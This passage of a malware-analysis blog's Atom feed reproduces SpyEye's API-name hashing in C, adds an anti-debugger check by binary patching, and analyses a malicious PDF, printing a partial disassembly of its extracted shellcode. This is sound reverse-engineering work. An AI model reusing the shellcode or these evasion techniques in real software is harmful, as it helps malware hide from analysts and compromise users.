&lt;/span&gt;asm("movsx ecx, cl\n");&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;asm("rol eax, 7\n");&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;asm("xor eax, ecx\n");&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;asm("inc edx\n");&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;asm("mov cl, [edx]\n");&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;asm("jmp A\n");&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;asm("B:\n");&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;asm("mov ecx, offset stuff\n");&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;asm("mov [ecx], eax\n");&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;int main() {&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;FILE *fp = fopen("kernel32names", "r");&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;int ch;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;int index = 0;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;while((ch=getc(fp))!=EOF) {&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;if(ch == '\n') {&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;flag = 0;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;line[index] = '\0';&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;index = 0;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;y = 0xA48D6762;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;process();&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; font-size: x-small; white-space: pre;"&gt;  &lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;switch(stuff) {&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;case 0xA48D6762:&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;case 0x6E72656B:&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;case 0x32336C65:&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;case 0x6C6C642E:&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;case 0x6A582465:&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;case 0x20088E6A:&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;case 0x6C64746E:&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;case 0x4C44544E:&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;printf("stuff=%08x\t line=%s\n", stuff, line);&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;break;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;}&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;stuff = 0;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;}&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;else {&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;line[index] = ch;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;++index;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;}&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;}&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;$ gcc -o findnames findnames.c -masm=intel&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;$ ./findnames&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;stuff=a48d6762&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt; line=GetModuleHandleA&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;stuff=20088e6a&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt; line=LoadLibraryExA&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;stuff=6a582465&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt; line=VirtualQuery&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7761018377333039151-3129006983521992252?l=x86overflow.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://x86overflow.blogspot.com/feeds/3129006983521992252/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://x86overflow.blogspot.com/2011/11/spyeye-function-name-hashing.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7761018377333039151/posts/default/3129006983521992252'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7761018377333039151/posts/default/3129006983521992252'/><link rel='alternate' type='text/html' href='http://x86overflow.blogspot.com/2011/11/spyeye-function-name-hashing.html' title='Spyeye function name hashing'/><author><name>Zubin</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7761018377333039151.post-1170236156059673568</id><published>2011-10-28T08:21:00.000-07:00</published><updated>2011-11-03T01:32:27.827-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='debugger detection'/><category scheme='http://www.blogger.com/atom/ns#' term='ollydbg'/><category scheme='http://www.blogger.com/atom/ns#' term='using NtGlobalFlags'/><category scheme='http://www.blogger.com/atom/ns#' term='binary patching'/><title type='text'>Using NtGlobalFlag</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;This is probably not the right way to go about implementing a NtGlobalFlag check in a exe; I looked around a bit but couldn't find anything else so I decided to go about using Ollydbg to do some manual patching. Like I said, probably not the best way - I just did this for fun. If you know a better way to do this, it would be awesome if you could take a few minutes and let me know in the comments section below.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;I did not wanna write assembly from the scratch so I compiled the following code.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="s1"&gt;#include&lt;/span&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="p3"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="s1"&gt;void&lt;/span&gt; &lt;span class="Apple-style-span" style="color: purple;"&gt;blah&lt;/span&gt;() {&lt;/span&gt;&lt;/div&gt;&lt;div class="p3"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-tab-span"&gt; &lt;/span&gt;&lt;span class="s1"&gt;int&lt;/span&gt; x,y,z;&lt;/span&gt;&lt;/div&gt;&lt;div class="p3"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;}&lt;/span&gt;&lt;/div&gt;&lt;div class="p3"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="s1"&gt;int&lt;/span&gt; main() {&lt;/span&gt;&lt;/div&gt;&lt;div class="p3"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-tab-span"&gt; &lt;/span&gt;&lt;span class="Apple-style-span" style="color: purple;"&gt;blah&lt;/span&gt;();&lt;/span&gt;&lt;/div&gt;&lt;div class="p1"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="s2"&gt;&lt;span class="Apple-tab-span"&gt; &lt;/span&gt;printf(&lt;/span&gt;"no debugger present\n"&lt;span class="s2"&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="p4"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="s2"&gt;&lt;span class="Apple-tab-span"&gt; &lt;/span&gt;&lt;/span&gt;return&lt;span class="s2"&gt; 0;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="p1"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="s2"&gt;&lt;span class="Apple-tab-span"&gt; &lt;/span&gt;printf(&lt;/span&gt;"debugger present\n"&lt;span class="s2"&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="p3"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-tab-span"&gt; &lt;/span&gt;getchar();&lt;/span&gt;&lt;/div&gt;&lt;div class="p3"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;}&lt;/span&gt;&lt;/div&gt;&lt;div class="p3"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Did a binary patch and fill the rest with NOPs ...&lt;/span&gt;&lt;/div&gt;&lt;div class="p3"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-78mPpWn5vBk/TqrGcTNBlQI/AAAAAAAAAYo/uP-OH8DXIdU/s1600/Screen+shot+2011-10-28+at+8.41.45+PM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="200" src="http://3.bp.blogspot.com/-78mPpWn5vBk/TqrGcTNBlQI/AAAAAAAAAYo/uP-OH8DXIdU/s320/Screen+shot+2011-10-28+at+8.41.45+PM.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="p3"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;and ran it ...&lt;/span&gt;&lt;/div&gt;&lt;div class="p3"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-3fQTRw-DV0U/TqrGyUnwGbI/AAAAAAAAAYw/AywFHAozZNM/s1600/Screen+shot+2011-10-28+at+8.43.49+PM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="200" src="http://1.bp.blogspot.com/-3fQTRw-DV0U/TqrGyUnwGbI/AAAAAAAAAYw/AywFHAozZNM/s320/Screen+shot+2011-10-28+at+8.43.49+PM.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="p3"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;There are loads of posts out there describing ways to circumvent this - so yeah thats about it for this post.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;[UPDATE]&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Using inline assembly is probably the right way to go about doing this.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7761018377333039151-1170236156059673568?l=x86overflow.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://x86overflow.blogspot.com/feeds/1170236156059673568/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://x86overflow.blogspot.com/2011/10/using-ntglobalflag.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7761018377333039151/posts/default/1170236156059673568'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7761018377333039151/posts/default/1170236156059673568'/><link rel='alternate' type='text/html' href='http://x86overflow.blogspot.com/2011/10/using-ntglobalflag.html' title='Using NtGlobalFlag'/><author><name>Zubin</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-78mPpWn5vBk/TqrGcTNBlQI/AAAAAAAAAYo/uP-OH8DXIdU/s72-c/Screen+shot+2011-10-28+at+8.41.45+PM.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7761018377333039151.post-8953533527243882957</id><published>2011-10-16T12:29:00.000-07:00</published><updated>2011-11-02T10:06:24.882-07:00</updated><title type='text'>github repository</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;From now on I've decided to upload all the malware analysis files into github repositories. Find them &lt;a href="http://github.com/eQuiNoX--"&gt;here&lt;/a&gt;.&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7761018377333039151-8953533527243882957?l=x86overflow.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://x86overflow.blogspot.com/feeds/8953533527243882957/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://x86overflow.blogspot.com/2011/10/github-repository.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7761018377333039151/posts/default/8953533527243882957'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7761018377333039151/posts/default/8953533527243882957'/><link rel='alternate' type='text/html' href='http://x86overflow.blogspot.com/2011/10/github-repository.html' title='github repository'/><author><name>Zubin</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7761018377333039151.post-5325878961041847440</id><published>2011-10-14T10:40:00.000-07:00</published><updated>2012-02-13T20:23:54.690-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='malware analysis'/><category scheme='http://www.blogger.com/atom/ns#' term='pdf-malware'/><title type='text'>analyzing e1730268df98c7877d16beda98839694.pdf</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;md5 - e1730268df98c7877d16beda98839694&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: purple; font-family: Verdana, sans-serif;"&gt;1. Strings&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;PDF version 1.3, xref table indicates 8 objects.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: purple; font-family: Verdana, sans-serif;"&gt;2. Running pdf.py&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;View output here. (&lt;a href="https://gist.github.com/2c5c59d98143f06f071b"&gt;https://gist.github.com/2c5c59d98143f06f071b&lt;/a&gt;)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;object 3 contains javascript tag. object 5 and 7 are similar as follows.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;obj 5 0:&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;tag Length = 54 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; (TAGVAL)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;tag Filter &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;(TAGVAL)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;tag FlateDecode &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; (ENDTAG)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="font-family: 'Courier New', Courier, monospace; white-space: pre;"&gt; &lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;obj 7 0:&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;tag Length = 586 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;(TAGVAL)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;tag Filter &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;(TAGVAL)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;tag FlateDecode &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; (ENDTAG)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;However, pdf.py only detects javascript inside object 7.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: purple; font-family: Verdana, sans-serif;"&gt;3. Analyzing the javascript dump&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Seems to be a typical heap overflow. The shellcode is obtained(&lt;a href="https://gist.github.com/a2b4eb46c5c568b919a0"&gt;https://gist.github.com/a2b4eb46c5c568b919a0&lt;/a&gt;).&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: purple; font-family: Verdana, sans-serif;"&gt;4. Analyzing shellcode&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Using distorm and some regex with python I get this(&lt;a href="https://gist.github.com/c826e5fa89029f114b98"&gt;https://gist.github.com/c826e5fa89029f114b98&lt;/a&gt;).&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;0x00000000 (02) 2bc9 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; SUB ECX, ECX&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;0x00000002 (02) b11f &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; MOV CL, 0x1f&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;0x00000004 (05) bd0c36c59b &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; MOV EBP, 0x9bc5360c&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;0x00000009 (02) dbc5 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; FCMOVNB ST0, ST5&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;0x0000000b (04) d97424f4 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; FNSTENV [ESP-0xc]&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;0x0000000f (01) 5a &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; POP EDX&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;0x00000010 (03) 83eafc &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; SUB EDX, -0x4&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;0x00000013 (03) 316a0b &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; XOR [EDX+0xb], EBP&lt;/span&gt;&lt;br 